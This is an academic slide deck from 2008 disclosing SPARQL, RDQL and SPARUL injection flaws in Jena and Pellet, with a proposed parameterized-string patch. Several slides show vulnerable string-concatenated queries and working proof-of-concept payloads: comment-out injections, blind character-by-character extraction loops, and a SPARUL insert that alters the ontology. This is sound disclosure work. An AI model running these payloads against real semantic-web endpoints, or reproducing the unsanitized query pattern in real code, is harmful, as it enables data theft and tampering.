SPARQL/RDQL/SPARUL Injection

Addressing Security issues in the Semantic Web

MoreLab - Mobility Research Laboratory

April 21st, 2008

A. Almeida, P. Orduña, U. Aguilera, I. Larizgoitia, X. Laiseca

Introduction

- The Semantic Web is based on a set of technologies:
  - XML
  - RDF
  - OWL
  - . . .

Query Languages

- New technologies have been developed to query the ontologies
  - RDQL $\xrightarrow{later}$ SPARQL $\xrightarrow{later}$ SPARUL
  - These new query languages are based on SQL
  - RDQL and SPARQL → Read-only query languages
  - SPARUL (SPARQL/Update) $\xrightarrow{introduces}$ modification capabilities
- SPARQL Sample:

```
PREFIX injection: <http://www.morelab.deusto.es/injection.owl#>
SELECT ?p1 ?p2
WHERE {
?p1 a injection:Person .
}
```

Security issues

- The use of these new query languages introduce vulnerabilities already found in a bad use of query languages
  - Attacks like SQL Injection, LDAP Injection or even XPath Injection are already well known
  - Libraries provide tools to sanitize user input in these languages
- Anyway, main ontology query language libraries still don't provide any mechanism to avoid code injection
  - Without these mechanisms, we are facing new techniques, including:
    - (Blind) SPARQL Injection
    - (Blind) RDQL Injection
    - SPARUL Injection
- In the following slides, we present simple proof of concepts of these techniques
  - The complete code of the samples can be found at http://www.morelab.deusto.es/code_injection/

SPARQL Injection

- Introducing SPARQL Injection
  - The following query is assumed to retrieve the friends of a user whom *fullName* is provided by the variable *name*
  - It's written using the Jena API to create the SPARQL query

SPARQL Injection

```
String queryString =
   "PREFIX injection: <http://www.morelab.deusto.es/injection.owl#> " +
   "SELECT ?name1 ?name2 " +
   "WHERE {" +
   "     ?p1 a injection:Person . " +
   "     ?p2 a injection:Person . " +
   "     ?p1 injection:fullName '" + name + "'  . " +
   "     ?p1 injection:isFriendOf ?p2 . " +
   "     ?p1 injection:fullName ?name1 . " +
   "     ?p2 injection:fullName ?name2 . " +
   "}";
Query query = QueryFactory.create(queryString);
```

SPARQL Injection

- Introducing SPARQL Injection
  - This code can be exploited to retrieve any information in the ontology
  - The problem is that the variable *name* has not been sanitized
    - This variable can include SPARQL code, and thus modify the query itself
    - A variable with malicious content can be found in the next slide

SPARQL Injection

```
Sample1code sample = new Sample1code();
String name = "Pablo Orduna' . " +
   "?b1 a injection:Building . " +
   "?b1 injection:name ?name1 . " +
   "} #"; // }:-D
String result = sample.run(name);
System.out.println(result);
```

Appending the Strings

```
String name = "Pablo Orduna’ . " +
   "?b1 a injection:Building . " +
   "?b1 injection:name ?name1 . " +
   "} #";
String queryString =
   "PREFIX injection: <http://www.morelab.deusto.es
      /injection.owl#> " +
   "SELECT ?name1 ?name2 WHERE {" +
   "  ?p1 a injection:Person . " +
   "  ?p2 a injection:Person . " +
   "  ?p1 injection:fullName ’" + name + "’ . " +
   "  ?p1 injection:isFriendOf ?p2 . " +
   "  ?p1 injection:fullName ?name1 . " +
   "  ?p2 injection:fullName ?name2 . " +
   "}";
```

Appending the Strings

```
String queryString =
   "PREFIX injection: <http://www.morelab.deusto.es
      /injection.owl#> " +
   "SELECT ?name1 ?name2 WHERE {" +
   "  ?p1 a injection:Person . " +
   "  ?p2 a injection:Person . " +
   "  ?p1 injection:fullName '" + "Pablo Orduna' .
      " +
   "   ?b1 a injection:Building . " +
   "   ?b1 injection:name ?name1 . " +
   "   } #" + "'  . " +
   "  ?p1 injection:isFriendOf ?p2 . " +
   "  ?p1 injection:fullName ?name1 . " +
   "  ?p2 injection:fullName ?name2 . " +
   "}";
```

The final query

```
String queryString =
   "PREFIX injection: <http://www.morelab.deusto.es/injection.owl#> " +
   "SELECT ?name1 ?name2 WHERE {" +
   " ?p1 a injection:Person . " +
   " ?p2 a injection:Person . " +
   " ?p1 injection:fullName ’Pablo Orduna’ . " +
   "   ?b1 a injection:Building . " +
   "   ?b1 injection:name ?name1 . " +
   "   } #" + /* From this point everything
     is commented and thus ignored */ "’ . " +
   " ?p1 injection:isFriendOf ?p2 . " +
   " ?p1 injection:fullName ?name1 . " +
   " ?p2 injection:fullName ?name2 . " +
   "}";
```

SPARQL Injection

- This code will return the name of the building instead of the name of a user
- It is possible to use the power of SPARQL to perform other kind of queries retrieving any information in the ontology

Blind SPARQL Injection

- Introducing Blind SPARQL Injection
  - The previous sample was especially vulnerable since it returned a string
    - It is possible to retrieve any information as a string
    - People usually don't retrieve strings in SPARQL, but individuals
  - What if the returning value is of an individual?
    - It's still possible to retrieve any information
    - If it's possible to know if a given query is true or false, it's possible to iteratively retrieve any information
  - The following code retrieves the individuals themselves
    - It's possible to know if the query provided or not the individuals

Blind SPARQL Injection

```
String queryString =
   "PREFIX xsd: <http://www.w3.org/2001/XMLSchema#>
      " +
   "PREFIX injection: <http://www.morelab.deusto.es
      /injection.owl#> " +
   "SELECT ?p1 ?p2 " +
   "WHERE {" +
   "     ?p1 a injection:Person . " +
   "     ?p2 a injection:Person . " +
   "     ?p1 injection:fullName '" + name + "'^^xsd
      :string . " +
   "     ?p1 injection:isFriendOf ?p2 . " +
   "}";
Query query = QueryFactory.create(queryString);
```

Blind SPARQL Injection

- Once again, the problem is that the variable name has not been sanitized
    - So it's still possible to inject SPARQL code
    - The injected code can't return a building or the building name
    - But, adding a condition like "does the building name start by this letter" we will get:
        - The common results → so the building name starts by that letter
        - No results → so the building name does not start by that letter

Blind SPARQL Injection

- If the building name has 10 characters, in the worst case scenario we will need to test CHARSET_LENGTH * 10 times
    - For a building name, CHARSET_LENGTH could be a number around 64 (letters, capital letters and digits)
    - Note that this is different from CHARSET_LENGTH to the power of 10
        - $64 * 10 = 640$ times
        - $64 * *10 = 1152921504606846976$ times
    - Even testing the whole Unicode charset is not a big deal

Blind SPARQL Injection

```java
public static boolean tryBlind(String s) throws Exception{
    Sample2code sample = new Sample2code();
    String name = "Pablo Orduna' . " +
        "?b1 a injection:Building . " +
        "?b1 injection:name ?buildingName . " +
        "FILTER regex(?buildingName, \"^" + s + ".*\") . " +
        "} #"; // }:-D
    String result = sample.run(name);
    // result will be Pablo or null
    return result != null;
}
```

The final query would be. . .

```
    "PREFIX xsd: <http://www.w3.org/2001/XMLSchema#> " +
    "PREFIX injection: <http://www.morelab.deusto.es/injection.owl#> " +
    "SELECT ?p1 ?p2 WHERE {" +
    " ?p1 a injection:Person . " +
    " ?p2 a injection:Person . " +
    " ?p1 injection:fullName 'Pablo Orduna' . " +
    " ?b1 a injection:Building . " +
    " ?b1 injection:name ?buildingName . " +
    " FILTER regex(?buildingName, \"^" + s + ".*\") . " +
    " } #" + /* from here ignored*/ "'^^xsd:string . " +
    "    ?p1 injection:isFriendOf ?p2 . }";
```

Querying recursively. . .

```
public static String recursively(String letters) throws Exception{
    for(int i = 0; i < POSSIBLE_LETTERS.length(); ++i){
        // This part might be optimized with binsearch
        char c = POSSIBLE_LETTERS.charAt(i);
        if(tryBlind(letters + c)){
            System.out.println(c);
            return "" + c + recursively(letters + c);
        }
    }
    return "";
}
```

Blind SPARQL Injection

- It is possible to optimize this system using binary search
    - Performing queries using Regular Expressions like ˆ[A−M].⋆ to know if the char is between the char A and M
    - Given a charset of length 64, we would reduce the number of iterations from 64 times 10 to 6 times 10
        - Using the whole Unicode charset, it would reduce the number of iterations from 65536 times 10 to 16 times 10!
- The point is that it's possible to retrieve any information in the ontology independently from the values returned by the query

RDQL Injection

- Introducing RDQL Injection
  - The following sample reproduces the first sample but this time using RDQL instead of SPARQL

RDQL Injection

```
String queryString =
    "SELECT ?name1 WHERE " +
    "    (?p1, <rdf:type>, <injection:Person>), " +
    "    (?p2, <rdf:type>, <injection:Person>), " +
    "    (?p1, <injection:fullName>, '" + name + "'), " +
    "    (?p1, <injection:isFriendOf>, ?p2), " +
    "    (?p1, <injection:fullName>, ?name1), " +
    "    (?p2, <injection:fullName>, ?name2) " +
    "USING injection for <http://www.morelab.deusto.es/injection.owl#>, " +
    "    rdf for <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\n";
Query query = QueryFactory.create(queryString, Syntax.syntaxRDQL);
```

RDQL Injection

```
String name = "Pablo Orduna’), " +
   "(?b1, <rdf:type>, <injection:Building>), " +
   "(?b1, <injection:name>, ?name1) " +
   "USING injection for <http://www.morelab.deusto.
      es/injection.owl#>, " +
   "    rdf for <http://www.w3.org/1999/02/22-rdf-
      syntax-ns#>" +
   " # "; // }:-D
String result = sample.run(name);
```

Blind RDQL Injection

- Introducing Blind RDQL Injection
  - The following sample reproduces the second sample but this time using RDQL instead of SPARQL

Blind RDQL Injection

```
String queryString =
   "SELECT ?p1 ?p2 " +
   "WHERE " +
   "    (?p1, <rdf:type>, <injection:Person>), " +
   "    (?p2, <rdf:type>, <injection:Person>), " +
   "    (?p1, <injection:fullName>, '" + name + "
      '), " +
   "    (?p1, <injection:isFriendOf>, ?p2) " +
   "USING xsd for <http://www.w3.org/2001/XMLSchema
      #>," +
   "    injection for <http://www.morelab.deusto.
      es/injection.owl#>\n";
Query query = QueryFactory.create(queryString,
   Syntax.syntaxRDQL);
```

Blind RDQL Injection

```java
public static boolean tryBlind(String s) throws Exception{
   Sample4code sample = new Sample4code();
   String name = "Pablo Orduna’), " +
      "(?b1, <rdf:type>, <injection:Building>), " +
      "(?b1, <injection:name>, ?buildingName) " +
      "AND ?buildingName ~~ /^" + s + ".*/" +
      "USING injection for <http://www.morelab.deusto.es/injection.owl#>, " +
      "    rdf for <http://www.w3.org/1999/02/22-rdf-syntax-ns#> //";
   String result = sample.run(name);
   return result != null;
}
```

Blind RDQL Injection

```
public static String recursively(String letters) throws Exception{
    for(int i = 0; i < POSSIBLE_LETTERS.length(); ++i){
        // This part might be optimized with binsearch:
        char c = POSSIBLE_LETTERS.charAt(i);
        if(tryBlind(letters + c)){
            System.out.println(c);
            return "" + c + recursively(letters + c);
        }
    }
    return "";
}
```

SPARUL Injection

- Introducing SPARQL/Update Injection
  - All the previous examples are executed in read-only query languages
  - SPARUL introduces the chance to modify the ontology
    - INSERT, MODIFY and DELETE statements are available
  - The following sample modifies the *fullName* of the resource *injection:Pablo*, setting it to the value of the variable *name*

SPARUL Injection

```
String updateString = "PREFIX injection: <http://www.morelab.deusto.es/injection.owl#> " +
    "PREFIX xsd: <http://www.w3.org/2001/XMLSchema#> " +
    "DELETE {" +
    " injection:Pablo injection:fullName ?name1 "+
    "} WHERE {" +
    " injection:Pablo injection:fullName ?name1" +
    "}\n INSERT {" +
    " injection:Pablo injection:fullName '" + name + "'^^xsd:string" +
    "}";
UpdateRequest update = UpdateFactory.create(updateString);
```

SPARUL Injection

- Introducing SPARQL/Update Injection
  - Once again, the variable *name* has not been sanitized
    - But this time it's possible to **modify** the ontology!

SPARUL Injection

```
String name = "Pablo Ordunya'^^xsd:string" +
    "} \n " +
    "INSERT {" +
    "   injection:Pablo injection:isFriendOf
        injection:EvilMonkey" +
    "} #"; // }:-D
String result = sample.run(name);
```

SPARUL Injection

- With this vulnerability, **it is possible to modify the whole ontology**!

Addressing code injection

- In other query languages, the libraries provide tools to avoid code injection
- For instance, the Java API provides:

```
PreparedStatement ps = connection.prepareStatement(
    "SELECT field FROM TABLE WHERE field = ?");
ps.setString(1, variable);
ps.executeQuery();
```

Addressing code injection

- There is no such mechanism provided by Pellet or Jena for this issue
  - Jena
    - Queries are created through the *QueryFactory* class
    - The possible inputs are Strings and URIs
  - Pellet
    - Queries are created through the *QueryEngine* class
    - The possible inputs are Strings

Adding a parameterized string to Jena and Pellet

- In order to easily avoid this problem, a new class that encapsulated the parsing of the parameters could be used
  - A String parameter should escape every dangerous characters (such as ')
  - Dangerous Unicode characters should be escaped too (\u0027, \u00000027)
  - Strong typing would be recommendable (*xsd:int*, *xsd:short*. . .)
- This class should be used:
  - by the *UpdateFactory* and *QueryFactory* classes in Jena
  - by the *QueryEngine* class in Pellet
- In the following slide we present a code sample using this parameterized string

Adding a parameterized String to Jena and Pellet

```
String queryString =
   "PREFIX injection: <http://www.morelab.deusto.es
      /injection.owl#> " +
   "SELECT ?name1 ?name2 WHERE {" +
   "    ?p1 a injection:Person . " +
   "    ?p2 a injection:Person . " +
   "    ?p1 injection:fullName ${name} . " +
   "    ?p1 injection:isFriendOf ?p2 . " +
   "    ?p1 injection:fullName ?name1 . " +
   "    ?p2 injection:fullName ?name2 . " +
   "}";
ParameterizedString ps = new ParameterizedString(
   queryString);
ps.setString("name", name);
Query query = QueryFactory.create(ps);
```

Patch available for Jena and Pellet

- In order to provide a solution, we have sent a patch for Pellet 1.5.1 and another Jena 2.5.5
    - Adding support for this ParameterizedString object in *QueryEngine*, *QueryFactory* and *UpdateFactory*
    - Under Open Source terms (MIT/X11 license: basically do whatever you want with this software, even relicense it under your preferred license)
    - With integrated JUnit unit tests

Why all this?

- That's too much, can't I just scape the ' chars?
  - Not really; take into account the Unicode chars
  - The string \u0027 is a simple quote, just as in the Java Programming Language:

```
// This code prints 2 :-)
System.out.println("a\u0022.length() + \u0022b".length());
```

Taken from *Java Puzzlers: Traps, Pitfalls, and Comer Cases*. Joshua Bloch, Neal Gafter. *Addisson Wesley Professional 2005*

- Using a class that encapsulates all the query language specific issues is far easier

Conclusions

- Not sanitizing the user input might add a set of security vulnerabilities in our systems
- Adding the user input directly to our SPARQL/RDQL queries
- Once the ParameterizedString class is added to Jena/Pellet (or any other solution is taken by these libraries developers), it might help to fix these security flaws

Authors

MoreLab - Mobility Research Lab

Aitor Almeida	*aalmeida@tecnologico.deusto.es*
Pablo Orduña	*porduna@tecnologico.deusto.es*
Unai Aguilera	*uaguiler@tecnologico.deusto.es*
Iker Larizgoitia	*ilarizgo@tecnologico.deusto.es*
Xabier Laiseca	*xlaiseca@tecnologico.deusto.es*

License